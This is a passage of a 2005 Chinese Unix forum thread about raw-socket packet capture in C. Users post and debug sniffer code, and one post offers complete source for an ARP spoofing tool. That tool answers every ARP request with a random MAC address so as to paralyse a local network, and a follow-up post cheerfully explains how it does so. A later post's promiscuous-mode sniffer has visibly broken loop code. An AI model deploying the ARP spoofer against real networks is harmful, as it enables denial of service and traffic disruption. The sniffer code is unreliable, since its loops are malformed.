免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: 思一克
打印 上一主题 下一主题

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出 [复制链接]

论坛徽章:
0
31 [报告]
发表于 2005-01-10 14:42 |只看该作者

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

我看到的是已经改好的了,
指针已经移动了 ptemp += sizeof(struct iphdr);
所以我在比 ip ->; tot_len 和 ntohs(pudp->;len)

另外,对不起,我不知道这里为什么要用 strcpy

论坛徽章:
0
32 [报告]
发表于 2005-01-10 15:17 |只看该作者

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

要命,编译完后运行得眼都花了,
linux机器差点死掉。。。。

论坛徽章:
0
33 [报告]
发表于 2005-01-10 15:43 |只看该作者

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

不好意思,我是昨天才学习这个网络程序,但是我们都好像是新手,我愿意回答这个问题,
因为 for(; 是个无限循环,应该是只要你的网卡是active的状态,就不断读上面的信息,fetch出来。
我感觉死机不至于,你可以定向到一个文件,然后CTRL+C

-- 感觉这里真专业,大家都是real practices.

论坛徽章:
0
34 [报告]
发表于 2005-01-10 19:19 |只看该作者

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

好啊,大家表现都很好!真的。

论坛徽章:
0
35 [报告]
发表于 2005-01-10 23:20 |只看该作者

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

真热闹啊!   我也凑凑!
这是我讲课时的示范程序,让你的网络瘫痪,make一下就行了.


  1. /*
  2. *
  3. * This is a simple arp spoof program.
  4. * It demostrates the usage of PACKET socket.
  5. * the code is published under GPL.
  6. * see http://www.gnu.org for the detail of GPL.
  7. *                                 written by
  8. *                                 John Bull <john@ccjsj.com>;
  9. */
  10. #include <stdio.h>;
  11. #include <unistd.h>;
  12. #include <signal.h>;
  13. #include <fcntl.h>;
  14. #include <sys/socket.h>;
  15. #include <features.h>;
  16. #include <netpacket/packet.h>;
  17. #include <net/ethernet.h>;
  18. #include <sys/ioctl.h>;
  19. #include <sys/types.h>;
  20. #include <net/if.h>;
  21. #include <net/if_packet.h>;
  22. #include <net/if_arp.h>;

  23. struct etharp {
  24.         struct arphdr hdr;
  25.         unsigned char sender_mac[6];
  26.         unsigned char sender_ip[4];
  27.         unsigned char rcver_mac[6];
  28.         unsigned char rcver_ip[4];
  29. };

  30. struct etharp_frame {
  31.         unsigned char dst[6];
  32.         unsigned char src[6];
  33.         unsigned short type;
  34.         struct etharp arp;
  35. };

  36. char*
  37. mac2a(char* dst, unsigned char* addr)
  38. {
  39.         int i;
  40.         char buf[8];

  41.         dst[0]='\0';
  42.         for (i=0;i<6;i++) {
  43.                 sprintf(buf,"%.2X",(unsigned char)addr[i]);
  44.                 strcat(dst,buf);
  45.                 if (i<5) {
  46.                         strcat(dst,":");
  47.                 }
  48.         }
  49.         return dst;
  50. }

  51. char*
  52. ip2a(char* dst, unsigned char* addr)
  53. {
  54.         int i;
  55.         char buf[8];

  56.         dst[0]='\0';
  57.         for (i=0;i<4;i++) {
  58.                 sprintf(buf,"%u",(unsigned char)addr[i]);
  59.                 strcat(dst,buf);
  60.                 if (i<3) {
  61.                         strcat(dst,".");
  62.                 }
  63.         }
  64. }

  65. int
  66. getIndexbyName(int sd, const char* ifname)
  67. {
  68.         int ret;
  69.         struct ifreq req;

  70.         strncpy(req.ifr_name,ifname,IFNAMSIZ);
  71.         ret=ioctl(sd,SIOCGIFINDEX,&req);
  72.         if (ret==-1) {
  73.                 return -1;
  74.         }
  75.         return req.ifr_ifindex;
  76. }

  77. void
  78. usage(char* argv0)
  79. {
  80.         printf("usage: %s -i ifname -m\n",argv0);
  81. }

  82. main(int argc, char *argv[])
  83. {
  84.         int sd,fd;
  85.         int ret;
  86.         int iface;
  87.         struct sockaddr_ll my_end,his_end;
  88.         int his_end_len;
  89.         struct etharp_frame rcvBuffer[1],sndBuffer[1];
  90.         char mac[18],ip[16];

  91.         unsigned char fake[6];


  92.         if (argc<2) {
  93.                 usage(argv[0]);
  94.                 exit(0);
  95.         }

  96.         int c;
  97.         char iface_name[IFNAMSIZ];
  98.         int monitor_mode=0;
  99.         strcpy(iface_name,"eth0");
  100.         while ((c=getopt(argc,argv,"i:m"))>;=0) {
  101.                 switch (c) {
  102.                         case 'i' :
  103.                           strncpy(iface_name,optarg,IFNAMSIZ);
  104.                           break;
  105.                         case 'm' :
  106.                           monitor_mode=1;
  107.                           break;
  108.                         default :
  109.                           usage(argv[0]);
  110.                           exit(0);
  111.                           break;
  112.                 }
  113.         }

  114.         printf("This program keeps running for 60 seconds.\n");
  115.         printf("NIC=%s\n",iface_name);
  116.         printf("Monitor Mode=%i\n",monitor_mode);
  117.         printf("=========\n");
  118.         alarm(60);

  119.         sd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));
  120.         if (sd==-1) {
  121.                 perror("socket");
  122.                 exit(1);
  123.         }

  124.         iface=getIndexbyName(sd,iface_name);
  125.         if (iface==-1) {
  126.                 perror("ioctl(Request interface index)");
  127.                 exit(-1);
  128.         }

  129.         my_end.sll_family=AF_PACKET;
  130.         my_end.sll_protocol=htons(ETH_P_ARP);
  131.         my_end.sll_ifindex=iface;
  132.         ret=bind(sd,(struct sockaddr*)&my_end,sizeof(struct sockaddr_ll));
  133.         if (ret==-1) {
  134.                 perror("bind");
  135.                 exit(1);
  136.         }

  137.         fd=open("/dev/urandom",O_RDONLY);

  138.         while (1) {
  139.                 ret=recvfrom(sd,rcvBuffer,sizeof(rcvBuffer),0,(struct sockaddr*)&his_end,&his_end_len);
  140.                 if (ret==-1) {
  141.                         continue;
  142.                 }

  143.                 if (ntohs(rcvBuffer->;arp.hdr.ar_op)==ARPOP_REQUEST) {
  144.                         ip2a(ip,rcvBuffer->;arp.sender_ip);
  145.                         printf("%s wants to know ",ip);
  146.                         ip2a(ip,rcvBuffer->;arp.rcver_ip);
  147.                         printf("%s's MAC.\n",ip);
  148.                         fflush(stdout);

  149.                         if (monitor_mode==1)
  150.                                 continue;

  151.                         read(fd,fake,6);

  152.                         memcpy(sndBuffer->;dst,rcvBuffer->;arp.sender_mac,6);
  153.                         memcpy(sndBuffer->;src,fake,6);
  154.                         sndBuffer->;type=htons(ETH_P_ARP);
  155.                         sndBuffer->;arp.hdr.ar_hrd=htons(ARPHRD_ETHER);
  156.                         sndBuffer->;arp.hdr.ar_pro=htons(0x0800);
  157.                         sndBuffer->;arp.hdr.ar_hln=(char)6;
  158.                         sndBuffer->;arp.hdr.ar_pln=(char)4;
  159.                         sndBuffer->;arp.hdr.ar_op=htons(ARPOP_REPLY);
  160.                         memcpy(sndBuffer->;arp.sender_mac,fake,6);
  161.                         memcpy(sndBuffer->;arp.sender_ip,rcvBuffer->;arp.rcver_ip,4);
  162.                         memcpy(sndBuffer->;arp.rcver_mac,rcvBuffer->;arp.sender_mac,6);
  163.                         memcpy(sndBuffer->;arp.rcver_ip,rcvBuffer->;arp.rcver_ip,4);

  164.                         his_end.sll_family=AF_PACKET;
  165. //        his_end.sll_addr should be filled by recvfrom() already
  166.                         his_end.sll_halen=6;
  167.                         his_end.sll_ifindex=iface;
  168.                         sleep(1);
  169.                         sendto(sd,sndBuffer,sizeof(sndBuffer),0,(struct sockaddr*)&his_end,sizeof(his_end));
  170.                         mac2a(mac,fake);
  171.                         printf("\tfaked a %s as the answer.\n",mac);
  172.                 }
  173.         }
  174.         close(fd);
  175. }
复制代码

论坛徽章:
0
36 [报告]
发表于 2005-01-11 10:39 |只看该作者

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

呵呵,教人学坏啊
好,我来配个讲解:
本程序的作用是起到ARP欺骗.首先说一下ARP的作用:
ARP的作用是获取目的IP机器的MAC地址,然后在根据这个MAC地址和IP地址和目标机器进行信息交互,有一点比较重要的就是每个机器在正常工作的情况下只会接受MAC地址是广播地址和MAC地址是自己MAC地址的网络包.
所以加入机器A想和机器B通信,过程如下:

1.A发一个ARP包(这是广播包,谁都可以收到),想去获取机器B的MAC
2.机器B接收到该ARP包并确人是给自己的,返回一个ARP包,告诉A他的MAC
3.A根据获取的MAC进行网络交互

本程序的作用是:
接收到任何一个机器发出来的ARP请求包,立马回一个ARP返回包,里面返回的MAC地址是随机的(够狠,这样网络里的MAC地址和IP地址对应关系就会乱掉了,这样整个网络的数据交互就瘫痪了,哈哈

论坛徽章:
0
37 [报告]
发表于 2005-01-11 11:09 |只看该作者

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

这个程序写的蛮好的(当然我是写不出来的),知识点挺多的,总体感觉是收到的数据包,又送回去了。
学习啊... ...

对不起,我没有看到 - 黄山松的回帖
返回的Mac地址是从一个文件里读出来的,这个文件有随机性?
不知道说的对不对

论坛徽章:
0
38 [报告]
发表于 2005-01-21 13:10 |只看该作者

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

cc -o netdump netdump.c
"/usr/include/sys/netinet/ip.h", line 175: error: Syntax error before or at: n_long
"/usr/include/sys/netinet/ip.h", line 175: error: cannot recover from previous errors

论坛徽章:
0
39 [报告]
发表于 2005-01-28 10:32 |只看该作者

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

//netdump.c  

#include <stdio.h>;   
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <arpa/inet.h>;  
#include <netinet/ip.h>;
#include <string.h>;
#include <netdb.h>;
#include <netinet/tcp.h>;
#include <stdlib.h>;
#include <unistd.h>;
#include <signal.h>;
#include <net/if.h>;
#include <sys/ioctl.h>;
#include <sys/stat.h>;
#include <fcntl.h>;
#include <termios.h>;

void die(char *why, int n)
{
          perror(why);
          exit(n);
}


int do_promisc(char *nif, int sock )
{
        struct ifreq ifr;
  
          strncpy(ifr.ifr_name, nif,strlen(nif)+1);
          if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1))
          {        
                    die("ioctl", 2);
          }
          ifr.ifr_ifru.ifru_flags |= IFF_PROMISC;
          if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 )
          {
                    die("ioctl", 3);
          }
}

char buf[3*32767];

main()
{
        struct sockaddr_in addr;
        struct ip *ip;
        struct tcphdr *tcp;
        int sock, r, len,i;
        char *data ,*ptr;
        char ss[32], dd[32];
        int size;

        if((sock = socket(AF_INET,SOCK_RAW,0)) == -1) die("socket", 1);
        do_promisc("tu0", sock);
       
          
        for(;
        {
                len = sizeof(addr);
               
                r = recvfrom(sock,(char *)buf,sizeof(buf),0,(struct sockaddr *)&addr,&len);
                buf[r] = 0;
               
                ip = (struct ip *)buf;
                for(i=0,ptr=buf;i<2*32767;ptr++);
                tcp = (struct tcphdr *)ptr;
       
                  printf("ktSize: %d IPLEN %d PROT %d  \
                          %s:%d-->;%s:%d %d \n",
                           r, ip->;ip_len, ip->;ip_p,
                            
                           strcpy(ss, inet_ntoa(*(struct in_addr*)&(ip->;ip_src.s_addr))),
                           ntohs(tcp->;th_sport),
                           strcpy(dd, inet_ntoa(*(struct in_addr*)&(ip->;ip_dst.s_addr))),
                           ntohs(tcp->;th_dport),
                           tcp->;th_off );
                    data = (char*)tcp + 4*tcp->;th_off;
                    printf("data = %s\n", data);
         }
}

================
我把楼主的程序改了一下放在Digital UNIX下运行,程序一直阻塞在recvfrom处,这是为什么?我另外写了测试程序从另外一台机上往本机上不停的发数据啊明明

论坛徽章:
0
40 [报告]
发表于 2005-01-28 10:52 |只看该作者

给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

socket(d, SOCK_RAW, p);

如果仅仅capture IP, d = PF_INET, p = IPPROTO_UDP, IPPROTO_TCP,等

如果capture Ethernet以上的协议,d = PF_PACKET, p = htons(ETH_P_ALL)
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP